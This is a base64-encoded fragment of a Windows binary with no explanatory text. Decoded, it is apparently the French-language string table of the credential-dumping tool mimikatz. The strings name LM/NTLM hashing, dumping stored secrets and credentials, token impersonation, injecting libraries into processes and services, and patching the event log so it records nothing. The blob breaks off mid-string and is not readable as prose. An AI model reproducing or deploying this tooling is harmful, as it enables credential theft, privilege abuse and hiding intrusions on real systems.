AAOwAgAAAAAAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAJwBhAGMAcQB1AGkAcwBpAHQAaQBvAG4AIABkAGUAIABsAGEAIABjAGwA6QAgADsAIAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAAAAAAAAYwBuAGcAXwAAAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFAAcgBpAHYAYQB0AGUASwBlAHkALwBQAHIAaQB2AGEAdABlAEsAZQB5AEIAbABvAGIAVABvAFAAVgBLACAAOgAgAAAAAAAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAABNAHkAAAAAAFwAAABbAGUAbQBwAHQAeQBdAAAACQAJAEMAbwBuAHQAYQBpAG4AZQByACAAQwBsAOkAIAA6ACAAAAAAAAkACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAAAAAAHAAZgB4AAAACQAJAAkAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAAAAAAGQAZQByAAAACQAJAEUAeABwAG8AcgB0ACAAcAB1AGIAbABpAGMAIABkAGEAbgBzACAAJwAAAAAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgADoAIAAAAAAAAAAAAHIAcwBhAGUAbgBoAC4AZABsAGwAAAAAAENQRXhwb3J0S2V5AAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgADoAIAAAAAAAAAAAAFAAYQB0AHQAZQByAG4AcwAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAGUAdAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAB0AHIAbwB1AHYA6QBzACAAIQAAAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AaQB0AGkAYQBsAGkAcwBlAHIAIABsAGEAIABDAE4ARwAgADoAIAAAAAAAUABhAHMAIABkAGUAIABDAE4ARwAgAD8AAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAAAAAABuAG8AcgBvAHUAdABlAG0AbwBuAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAH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YAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIADpAGMAcgBpAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAHcAYgAAAAAAAAAAACAAKgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAAAAAAIAAhAD0AIAAAAAAAAAAAAEsATwAgAC0AIABkAGkAZgBmAOkAcgBlAG4AdAAgAGQAZQAgACcAUABJAFQAJwAgADsAIAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAAAAAAAAaQBuAGYAbwBzAAAAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIAB0AHIA6ABzACAAZADpAHQAYQBpAGwAbADpAGUAcwAgAHMAdQByACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAAABmAHUAbABsAAAAAAAAAAAARAB1AG0AcAAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAEUARgBTACAAZAAnAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpACAAdgBlAHIAcwAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABiAHIAdQB0AAAAAAB0AG8AcgBhAHcAAAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACgAcwApACAAZADpAGMAbABhAHIA6QAoAHMAKQAgADoAIAAAAAAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG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MAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAE4AbwBtACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAIAAtACAATABlAGMAdAB1AHIAZQAgAGQAJwB1AG4AIABiAGwAbwBjACAAZABlACAAOgAgAAAAAAAgADoAAAAAACAAIAAgACAAQwBoAGEAbQBwACAAZABlACAAZABvAG4AbgDpAGUAcwAgAAAAAAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAtAD4AIABUAGEAaQBsAGwAZQAgACAAOgAgAAAAIAAgACAAIAAgACoAIABGAEUASwAgACgAYwBoAGkAZgBmAHIA6QBlACkAIAA6ACAAAAAAAAAAAAAgACAAIAAgACAAKgAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAAAAAABsAGkAcwB0AAAAAAAAAAAARQBzAHMAYQB5AGUAIABkAGUAIABzAHQAbwBwAHAAZQByACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAgAGUAbgAgAHUAdABpAGwAaQBzAGEAbgB0ACAAZAAnAGEAdQB0AHIAZQBzACAAaABhAG4AZABsAGUAcwAAAAAAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAABFAHMAcwBhAHkAZQAgAGQAJwBpAG0AcABlAHIAcwBvAG4AYQBsAGkAcwBlAHIAIAB1AG4AIAB0AG8AawBlAG4AIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAAAAAHQAbwBrAGUAbgBJAG0AcABlAHIAcwBvAG4AYQB0AGUAAAAAAAAAAAAAAAAAAAAAAFAAbwBzAGkAdABpAG8AbgBuAGUAIAB1AG4AZQAgAEEAQwBMACAAbgB1AGwAbAAgAHMAdQByACAAZABlAHMAIABIAGEAbgBkAGwAZQBzAAAAbgB1AGwAbABBAGMAbAAAAHQAbwBrAGUAbgAAACAAIAAAAAAAAAAAACAALQA+ACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFMAeQBzAHQAZQBtAEgAYQBuAGQAbABlAHMAIAA7ACAAAAAJAFQAZQByAG0AaQBuAGEAdABlACAAUAByAG8AYwBlAHMAcwAgAC0AIAAAAAAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAAAAAAFQAZQByAG0AaQBuAGEAdABlAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAAAAAAAAAEEAcwBzAGkAZwBuAFAAcgBvAGMAZQBzAHMAVABvAEoAbwBiAE8AYgBqAGUAYwB0ACAALQAgAEsATwAgADsAIAAAAAAAAAAAAE50U2V0SW5mb3JtYXRpb25Qcm9jZXNzAG8AawAgACEAIQAAAAAAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAAAAAABOAFUATABMACAAIQAAAAAACQAJAAAAAAAAAAAAAAAAAEgAYQBzAGgAIABMAGEAbgBNAGEAbgBhAGcAZQByACAAKABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAGwAbQAAAAAAAAAAAAAAAABIAGEAcwBoACAATgBUACAATABhAG4ATQBhAG4AZwBlAHIAIAAoAE4AVABMAE0AKQAgAGQAJwB1AG4AZQAgAGMAaABhAO4AbgBlACAAZABlACAAYwBhAHIAYQBjAHQA6AByAGUAcwAAAG4AdABsAG0AAAAAAAAAAAAnACkAIAA9ACAAAAAAAAAATABNACgAJwAAAAAAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATABNAAAATgBUAEwATQAoACcAAAAAAEUAcgByAGUAdQByACAAZABlACAAYwBhAGwAYwB1AGwAIABkAHUAIABoAGEAcwBoACAATgBUAEwATQAAAAAAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAUABJAEQAAABwAGkAZAAAAAAAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAAAAEkAbgBqAGUAYwB0AGUAIAB1AG4AZQAgAGwAaQBiAHIAYQBpAHIAaQByAGUAIABjAG8AbQBtAHUAbgBpAGMAYQBuAHQAZQAgAGQAYQBuAHMAIAB1AG4AIABzAGUAcgB2AGkAYwBlAAAAKQAuAHQAaAAzADIAUAByAG8AYwBlAHMAcwBJAEQAIAA9ACAAAAAAAFAAUgBPAEMARQBTAFMARQBOAFQAUgBZADMAMgAoAAAAJwAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUAByAG8AYwBlAHMAcwBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAFQAcgBvAHAALAAgAG8AdQAgAHAAYQBzACAAZABlACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6ACAAJwAAAAAAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQAgAHUAbgBpAHEAdQBlACAAaQBuAHQAcgBvAHUAdgBhAGIAbABlACAAOgAgACcAAAAAAC4AAAAAAAAAawBpAHcAaQBcAG0AaQBtAGkAawBhAHQAegAAAAAAAAAAAAAAAAAAAEEAdAB0AGUAbgB0AGUAIABkAGUAIABjAG8AbgBuAGUAeABpAG8AbgAgAGQAdQAgAGMAbABpAGUAbgB0AC4ALgAuAAAAAAAAAFMAZQByAHYAZQB1AHIAIABjAG8AbgBuAGUAYwB0AOkAIADgACAAdQBuACAAYwBsAGkAZQBuAHQAIAAhAAAAAABNAGUAcwBzAGEAZwBlACAAZAB1ACAAcAByAG8AYwBlAHMAcwB1AHMAIAA6AAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAYwByAOkAZQByACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACEAIAA7ACAAAAAAAAAAAAAAAEkAbgBqAGUAYwB0AOkAIABzAGEAbgBzACAAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgAgACgAbABlAGcAYQBjAHkAKQAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAAAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIAB1AG4AIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AG8AbgAgAGUAcwB0ACAAZADpAGoA4AAgAG8AdQB2AGUAcgB0AAAAAAAAAAAAAAAAAAAARgBlAHIAbQBlAHQAdQByAGUAIABkAHUAIABjAGEAbgBhAGwAIABkAGUAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuAAAAAAAAAAAAAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAEMAaABhAG0AcAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAgAGMAbwBsAG8AbgBuAGUAcwAAAAAAAAAgAGwAaQBnAG4AZQBzACAAeAAgAAAAAABEAGkAbQBlAG4AcwBpAG8AbgAgACAAIAAgACAAIAAgADoAIAAAAAAATQBpAG4AZQBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAcABsAGEAdABlAGEAdQAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZAB1ACAAagBlAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAOkAbABlAG0AZQBuAHQAcwAgAGQAZQAgAGwAYQAgAGMAbwBsAG8AbgBuAGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQBzACAAYwBvAGwAbwBuAG4AZQBzAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAcgDpAGYA6QByAGUAbgBjAGUAcwAgAGQAZQAgAGwAJwDpAGwAZQBtAGUAbgB0AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIALgBlAHgAZQAAAEwAYQBuAGMAZQAgAHUAbgAgAOkAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAHIAZQBnAGUAZABpAHQAAAAAAAAAAAAAAEwAYQBuAGMAZQAgAHUAbgBlACAAaQBuAHYAaQB0AGUAIABkAGUAIABjAG8AbQBtAGEAbgBkAGUALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAAAAYwBtAGQAAABMAGEAbgBjAGUAIABsAGUAIABnAGUAcwB0AGkAbwBuAG4AYQBpAHIAZQAgAGQAZQAgAHQAYQBjAGgAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAdABhAHMAawBtAGcAcgAAAEwAYQBuAGMAZQAgAE8AdQB0AGwAbwBvAGsALAAgAGkAZwBuAG8AcgBhAG4AdAAgAEQAaQBzAGEAYgBsAGUAUABzAHQAAAAAAG8AbABwAHMAdAAAAAAAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABPSwAAS08AAEUAZABpAHQAZQB1AHIAIABkAGUAIAByAGUAZwBpAHMAdAByAGUAIAA6ACAAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABJAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAgADoAIAAAAAAAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAARwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIAB0AGEAYw